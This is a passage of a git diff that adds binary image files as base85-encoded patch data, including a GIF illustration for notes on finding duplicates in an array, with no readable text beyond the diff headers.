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

literal 0
HcmV?d00001

diff --git a/docs/pics/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif b/docs/pics/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif
new file mode 100644
index 0000000000000000000000000000000000000000..07f3a9102c9d2f84d1001601327d04e3b471129d
GIT binary patch
literal 29696
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
